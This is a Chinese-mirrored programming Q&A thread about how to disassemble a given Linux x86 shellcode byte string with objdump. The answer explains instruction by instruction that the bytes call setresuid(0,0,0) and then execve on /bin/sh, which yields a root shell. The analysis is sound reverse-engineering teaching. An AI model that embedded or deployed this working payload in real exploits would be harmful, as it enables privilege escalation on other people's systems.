【问题标题】:How can I check the commands the given shellcode executes?如何检查给定 shellcode 执行的命令?
【发布时间】:2013-05-24 01:23:57
【问题描述】:

假设我得到了以下 shellcode:

char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

如何检查它的含义/它所代表的 ASM 指令? 谢谢:)

【问题讨论】:

    标签: linux assembly system-calls shellcode


    【解决方案1】:

    编译和反汇编它!以您为例:

    $ cat example.c 
    char shellcode[]=
    "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
    "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
    "\xe1\xcd\x80";
    $ make example.o
    cc    -c -o example.o example.c
    $ objdump -D example.o
    
    example.o:     file format elf64-x86-64
    
    
    Disassembly of section .data:
    
    0000000000000000 <shellcode>:
       0:   31 c0                   xor    %eax,%eax
       2:   31 db                   xor    %ebx,%ebx
       4:   31 c9                   xor    %ecx,%ecx
       6:   99                      cltd   
       7:   b0 a4                   mov    $0xa4,%al
       9:   cd 80                   int    $0x80
       b:   6a 0b                   pushq  $0xb
       d:   58                      pop    %rax
       e:   51                      push   %rcx
       f:   68 2f 2f 73 68          pushq  $0x68732f2f
      14:   68 2f 62 69 6e          pushq  $0x6e69622f
      19:   89 e3                   mov    %esp,%ebx
      1b:   51                      push   %rcx
      1c:   89 e2                   mov    %esp,%edx
      1e:   53                      push   %rbx
      1f:   89 e1                   mov    %esp,%ecx
      21:   cd 80                   int    $0x80
        ...
    

    注意使用objdump-D 标志来反汇编所有部分,而不仅仅是它认为的可执行部分。

    至于这段代码的含义,我想我们可以将它逐段分解(从上面,使用内联 cmets):

    xor    %eax,%eax   // clear eax register
    xor    %ebx,%ebx   // clear ebx register
    xor    %ecx,%ecx   // clear ecx register
    cltd               // clear edx register (via sign-extension of eax
                       //     - only a compiler would do this operation 
                       //       in this way, I'd guess, so your shell code
                       //       probably wasn't hand-written
    mov    $0xa4,%al   // put 0xa4 (decimal 164) into eax
    int    $0x80       // do system call.  Syscall 164 is "sys_setresuid"
                       //   - it takes three parameters, in ebx, ecx, and edx,
                       //     so in this case, it's calling sys_setresuid(0, 0, 0);
    pushq  $0xb        // push constant 0xb (decimal 11) to the stack
    pop    %rax        // pop it back into rax
    push   %rcx        // push the 0 in rcx to the stack
    pushq  $0x68732f2f // push constant to the stack (looks like ASCII? "//sh")
    pushq  $0x6e69622f // push constant to the stack (looks like ASCII? "/bin")
    mov    %esp,%ebx   // put a pointer to this stack pushed stuff into ebx
    push   %rcx        // push rcx again, it's still 0
    mov    %esp,%edx   // put a pointer to this 0 on the stack into edx
    push   %rbx        // push rbx, it's 0 too
    mov    %esp,%ecx   // put a pointer to this 0 into ecx
    int    $0x80       // system call again - this time, it's call 11, which is
                       //    sys_execve.  It takes a pointer to a filename to execute
                       //    and two more pointers to the arguments and environment to
                       //    pass
    

    所以这段代码首先调用:

    sys_setresuid(0, 0, 0)
    

    给自己root权限,然后调用sys_execve()开始运行/bin/sh,给出shell提示。

    【讨论】:

    • 谢谢卡尔!很好的答案:不过有几个问题:你怎么知道哪个系统调用了“int”调用?我想这与 0x80 有关,那是什么?我已经做了一些 ASM 并且刚刚开始研究 x86 intel,所以这个和我知道的有点不同(例如,我猜“int”相当于“call”)。
    • int 0x80 是一个软件中断,意思是“嘿内核我想进行系统调用”。系统调用号在eax。你可以很容易地用谷歌搜索一个列表(这就是我所做的)。
    • @Shookie 这是一个很好的Linux Syscall Reference 页面。搜索系统调用号以找到相应的系统调用。
    • 该表适用于内核版本 2.2,已经 10 多年了。
    猜你喜欢
    • 2019-03-11
    • 1970-01-01
    • 1970-01-01
    • 2011-10-26
    • 2019-05-28
    • 2023-03-18
    • 2010-12-30
    • 2014-09-21
    • 1970-01-01
    相关资源
    最近更新 更多